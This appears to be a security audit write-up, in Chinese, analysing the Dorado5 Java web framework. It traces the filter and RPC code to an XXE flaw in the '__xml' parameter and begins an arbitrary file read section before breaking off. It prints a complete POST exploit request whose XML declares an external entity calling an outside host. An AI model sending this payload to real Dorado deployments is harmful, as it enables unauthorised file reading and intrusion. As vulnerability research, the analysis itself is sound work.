Author:jkgh006@敏信安全审计

Dorado5简介

锐道DORADO集成开发平台软件 V5.0(简称Dorado5 IDE)产品是与锐道DORADO展现中间件软件V5.0(简称DORADO5)产品配套的集成开发平台,进一步升编程效率与团队开发规范性。简言之,Dorado5 IDE是Dorado5的配套开发工具。
Dorado5 IDE支持控件属性设定、提供JavaScript事件编辑器、国际化资源文件编辑器、工程向导等。
Dorado5 IDE采用Eclipse Plug-in技术,以插件形式与Eclipse开发环境融为一体.

参考链接:http://wiki.bsdn.org/pages/viewpage.action?pageId=984613

客户案例:http://www.bstek.com/about/case

框架流程分析

首先看web.xml

<web-app>
  <filter>
    <filter-name>doradofilter</filter-name>
    <filter-class>com.bstek.dorado.core.DoradoFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>doradofilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
</web-app>

分析DoradoFilter.class:

public void init(FilterConfig filterConfig) throws ServletException {
        this.initSystemProperties();

        try {
            if (this.concreteFilter == null) {
                String ex = filterConfig.getInitParameter("impl");
                Class cl = CacheUtils.getClass(StringUtils.defaultString(ex,
                        "com.bstek.dorado.core.FilterHandle"));
                Object o = cl.newInstance();
                this.concreteFilter = (Filter) o;
            }

            this.concreteFilter.init(filterConfig);
        } catch (IllegalAccessException arg4) {
            arg4.printStackTrace();
        } catch (InstantiationException arg5) {
            arg5.printStackTrace();
        }

    }

初始化了com.bstek.dorado.core.FilterHandle,并且进行了new操作

public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain filterChain) throws ServletException, IOException {
        this.concreteFilter.doFilter(request, response, filterChain);
    }

根据filter的 链式效果将会调用FilterHandle的dofilter操作:

public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain filterChain) throws ServletException {
        try {
            HttpServletRequest ex = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            boolean isRPC = false;
            boolean fromAgent = false;
            String qs = ex.getQueryString();
            if (qs != null) {
                if (qs.endsWith("!$$")) {
                    ResponseCache rpcInfo1 = this.getResponseCache(qs);
                    if (rpcInfo1 != null) {
                        rpcInfo1.restoreResponse(ex, resp);
                    } else {
                        PrintWriter out = new PrintWriter(
                                this.getResponseOutputStream(ex, resp));
                        out.write("Page Timeout!");
                        out.flush();
                        out.close();
                        resp.flushBuffer();
                    }

                    return;
                }

                FilterHandlerRPCInfo rpcInfo = this.parseQueryString(qs);
                isRPC = rpcInfo.isRPC();
                fromAgent = rpcInfo.isFromAgent();
            }

            if (isRPC) {
                isRPC = !VariantHelper.parseBoolean(ex
                        .getAttribute("com.bstek.dorado.view.rpc.processed"));
            }

            DoradoContext.registerContext(HttpContextFactory
                    .getContext(request));

            try {
                if (isRPC) {
                    if (fromAgent) {
                        this.doAgentRPCFilter(filterChain, ex, resp);
                    } else {
                        this.doRPCFilter(filterChain, ex, resp);
                    }
                } else {
                    this.internalDoFilter(filterChain, ex, resp);
                }
            } finally {
                TransactionManager.disposeTransaction();
                if (Setting.getBoolean("fixBug_100925")) {
                    DoradoContext.unregisterContext();
                }

            }

        } catch (RuntimeException arg16) {
            throw arg16;
        } catch (ServletException arg17) {
            throw arg17;
        } catch (Throwable arg18) {
            throw new ServletException(arg18);
        }
    }

这里有两个地方可以分析:

  1. FilterHandlerRPCInfo rpcInfo =parseQueryString(qs);
  2. isRPC = rpcInfo.isRPC();fromAgent = rpcInfo.isFromAgent();
private FilterHandlerRPCInfo parseQueryString(String queryString) {
        FilterHandlerRPCInfo rpcInfo = new FilterHandlerRPCInfo();
        String[] params = StringUtils.split(queryString, '&');

        for (int i = 0; i < params.length; ++i) {
            String param = params[i];
            if (param != null) {
                int ei = param.indexOf(61);
                if (ei > 0) {
                    String name = param.substring(0, ei);
                    String value;
                    if ("__rpc".equals(name)) {
                        value = param.substring(ei + 1);
                        this.validateParameterCharacters(value);
                        rpcInfo.setRPC(VariantHelper.parseBoolean(value));
                    } else if ("__rpcAgent".equals(name)) {
                        value = param.substring(ei + 1);
                        this.validateParameterCharacters(value);
                        rpcInfo.setFromAgent(VariantHelper.parseBoolean(value));
                    }
                }
            }
        }

        return rpcInfo;
    }

如果我们的url是:smartweb2.RPC.d?__rpc=true 这里isRPC返回的就是ture

try {
                if (isRPC) {
                    if (fromAgent) {
                        this.doAgentRPCFilter(filterChain, ex, resp);
                    } else {
                        this.doRPCFilter(filterChain, ex, resp);
                    }
                } else {
                    this.internalDoFilter(filterChain, ex, resp);
                }
            } finally {

继续跟进一下doRPCFilter函数

private void doRPCFilter(FilterChain filterChain, HttpServletRequest req,
            HttpServletResponse resp) throws Throwable {
        String qs = this.genNewQS();
        RPCHandler handler = RPCHelper.getHandler(req);
        ResponseCache responseCache = new ResponseCache();

        try {
            handler.init(req);
            DoradoBufferedResponse ex = new DoradoBufferedResponse(resp,
                    responseCache);
            this.internalDoFilter(filterChain, req, ex);
            if (!handler.isExecuted()) {
                handler.execute();
            }

            ex.flushBuffer();
        } catch (Throwable arg14) {
            if (arg14 instanceof ServletException) {
                handler.setError(((ServletException) arg14).getRootCause());
            } else {
                handler.setError(arg14);
            }

            this.processException(arg14);
        } finally {
            DoradoContext.registerContext(HttpContextFactory.getContext(req));
            handler.endCalling(qs);
            String contentType = "text/xml";
            resp.setContentType("text/xml");
            PrintWriter out = new PrintWriter(this.getResponseOutputStream(req,
                    resp));
            Outputter xmlOutputter = OutputHelper.getOutputter(
                    handler.getClass(), "smartweb2");
            xmlOutputter.outputStartSection(out, handler, req);
            xmlOutputter.outputEndSection(out, handler, req);
            out.flush();
            out.close();
            resp.flushBuffer();
            if (responseCache.commitResponse()
                    && !NoForwardController.isNoForward(req)) {
                this.storeResponseCache(responseCache, qs);
            }

            RPCHelper.disposeHandler(req);
            if (Setting.getBoolean("fixBug_100925")) {
                DoradoContext.unregisterContext();
            }

        }

    }

这个函数总体逻辑分为三个

  1. RPCHandler handler = RPCHelper.getHandler(req); 获取对应的处理器
  2. handler.init(req); 初始化请求的上下文以及参数
  3. handler.execute(); 执行对应的action操作
public static RPCHandler getHandler(HttpServletRequest request)
            throws Exception {
        RPCHandler handler = (RPCHandler) request
                .getAttribute("com.bstek.dorado.view.rpc.RPCHandler");
        if (handler == null) {
            String type = request.getParameter("__type");
            handler = createHandler(type);
            request.setAttribute("com.bstek.dorado.view.rpc.RPCHandler",
                    handler);
        }

        return handler;
    }

这时候参数_type 就很重要的决定了handler的角色,如果我们传递的是__type=updateData,那么我们的处理类就是

private static RPCHandler createHandler(String type) throws Exception {
        RPCHandler handler;
        if ("updateData".equalsIgnoreCase(type)) {
            handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
                    "view.updateDataRPCHandler",
                    UpdateDataRPCHandler.class.getName()));
        } else if ("loadData".equalsIgnoreCase(type)) {
            handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
                    "view.loadDataRPCHandler",
                    LoadDataRPCHandler.class.getName()));
        } else {
            handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
                    "view.baseRPCHandler", BaseRPCHandler.class.getName()));
        }

        return handler;
    }

回头再分析一下那个初始化方法

跟进分析UpdateDataRPCHandler这个类

public void init(HttpServletRequest request) throws Exception {
        super.init(request);
        XmlDocument xmlDocument = this.getXmlDocument();
        XmlNode rootNode = xmlDocument.getRootNode();
        this.transactionMode = rootNode.getAttributeInt("transaction", 10);
        this.reduceReturnInfo = rootNode.getAttributeBoolean("rri");
        this.batch = UpdateBatchParser.parse(xmlDocument);
        this.parameters().assign(this.batch.parameters());
        ViewModel viewModel = this.getViewModel();
        this.applyUpdateBatch(viewModel, this.batch);
    }

调用父类BaseRPCHandler的init

public void init(HttpServletRequest request) throws Exception {
        super.init(request);
        XmlDocument xmlDocument = this.getXmlDocument();
        XmlNode rootNode = xmlDocument.getRootNode();
        this.method = rootNode.getAttributeString("method");
    }

继续调用父类AbstractRPCHandler的init

public void init(HttpServletRequest request) throws Exception {
        this.requestRef = new WeakReference(request);
        request.setAttribute("com.bstek.dorado.view.rpc.processed",
                new Boolean(true));
        String xml = request.getParameter("__xml");
        String viewInstanceId = request.getParameter("__viewInstanceId");
        ViewModelCacheInfo info = ViewModelManager
                .getViewModelInfo(viewInstanceId);
        this.viewModel = this.getViewModel(info);
        XmlBuilder builder = XmlFactory.createXmlBuilder();
        this.xmlDocument = builder.buildDocument("<?xml version=\"1.0\"?>"
                + xml);
        ParameterSet parameters = this.parameters();
        XmlNode[] paramNodes = null;
        XmlNode paramsNode = this.xmlDocument.getRootNode().getChild("ps");
        if (paramsNode != null) {
            paramNodes = paramsNode.getChildren();
        }

        if (paramNodes != null) {
            for (int properties = 0; properties < paramNodes.length; ++properties) {
                XmlNode propNodes = paramNodes[properties];
                String propsNode = propNodes.getAttribute("name");
                String i = propNodes.getAttribute("type");
                String propNode = propNodes.getContent();
                if (StringHelper.isNotEmpty(i)) {
                    parameters.setDataType(propsNode, Integer.parseInt(i));
                }

                parameters.setString(propsNode, EscapeUtils.unescape(propNode));
                if (StringHelper.isEmpty(i)) {
                    parameters.setDataType(propsNode, 0);
                }
            }
        }

        MetaData arg16 = this.viewModel.properties();
        XmlNode[] arg17 = null;
        XmlNode arg18 = this.xmlDocument.getRootNode().getChild("vps");

看到了吧这里进行了参数处理,其中xml参数直接进入到builder.buildDocument,前后没有禁用实体的标志所以存在xxe

POST /sample/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://localhost:8080/sample/hello_world.jsp
Content-Length: 756
Cookie: JSESSIONID=DA072739F42DD38394A94217857CD063; UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 58.216.50.51
Connection: close

__type=updateData&__viewInstanceId=helloWorld~com.bstek.dorado.view.impl.DynaViewModel&__xml=<!DOxCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//xxe.boomeye.com/index.html">%25remote%3b]><rpc+transaction%3d"10"><def><dataset+type%3d"wrapper"+id%3d"datasetEmployee"><f+name%3d"employee_id"></f><f+name%3d"dept_id"></f><f+name%3d"employee_name"></f><f+name%3d"sex"+type%3d"9"></f><f+name%3d"birthday"+type%3d"10"></f><f+name%3d"married"+type%3d"9"></f><f+name%3d"salary"+type%3d"7"></f><f+name%3d"degree"></f><f+name%3d"email"></f><f+name%3d"web"></f><f+name%3d"cmnt"></f><f+name%3d"image"></f></dataset></def><data><rs+dataset%3d"datasetEmployee"><r+id%3d"10138"+state%3d"insert"><n><v>2222</v><v>1111</v><v>111</v></n></r></rs></data></rpc>&1507876215851

整个框架的加载流程已经分析完成

任意文件读取

<servlet>
    <servlet-name>doradoservlet</servlet-name>
    <servlet-class>com.bstek.dorado.core.DoradoServlet</servlet-class>
    <load-on-startup>2</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>doradoservlet</servlet-name>
    <url-pattern>*.d</url-pattern>
  </servlet-mapping>
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            ActionHandler.invokeAction(request, response);
        } catch (RuntimeException ex) {
            throw ex;
        } catch (ServletException ex) {
            throw ex;
        } catch (Throwable ex) {
            throw new ServletException(ex);
        }
}

public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
        doGet(request, response);
}

这里可以看出来是个基础的HttpServlet类

public static void invokeAction(HttpServletRequest request,
            HttpServletResponse response) throws Throwable {
        String controllerName = "";
        String actionName = "";
        String extName = null;
        String s = request.getServletPath();
        int lastDot = s.lastIndexOf(".");
        if (lastDot >= 0) {
            extName = s.substring(lastDot + 1);
            s = s.substring(0, lastDot);

            lastDot = s.lastIndexOf(".");
            if (lastDot >= 0) {
                controllerName = s.substring(0, lastDot);
                actionName = s.substring(lastDot + 1);
            } else {
                controllerName = s;
            }

        }

        if ((extName != null) && ("jsp".equals(extName))) {
            return;
        }

        invokeAction(request, response, controllerName, actionName);
    }

    private static void invokeAction(HttpServletRequest request,
            HttpServletResponse response, String controllerName,
            String actionName) throws Throwable {
        Controller controller = null;
        try {
            controller = ControllerManager.getController(request,
                    controllerName);

            controller.invokeAction(actionName, request, response);
        } catch (Throwable ex) {
            if (getExceptionHandler().processGlobalException(ex, request,
                    response))
                return;
            throw ex;
        }
    }
}

继续跟进 关键位置我们看类(ControllerManager)的 getController方法

public static Controller getController(HttpServletRequest request,
            String name) throws Throwable {
        return getControllerFactory().createController(request, name);
    }

继续跟进:

public Controller createController(HttpServletRequest request, String name)
            throws Throwable {
        Mapping mapping = Mapping.getInstance();
        ControllerConfig config = mapping.findController(name);
        if (config != null) {
            return createController(request, config);
        }
        if ("/TellMeSomethingAboutDorado".equals(name)) {
            Class cl = CacheUtils
                    .getClass("com.bstek.dorado.view.smartweb.v2.output.TranslatorOutputter");

            Controller controller = (Controller) cl.newInstance();
            controller.setName(name);
            controller.setConfig(new ControllerConfig(name));
            return controller;
        }
        if ("/TellMeWhoCreatedDorado".equals(name)) {
            Class cl = CacheUtils
                    .getClass("com.bstek.dorado.view.smartweb.v2.output.EncoderOutputter");

            Controller controller = (Controller
        

Hacking more

...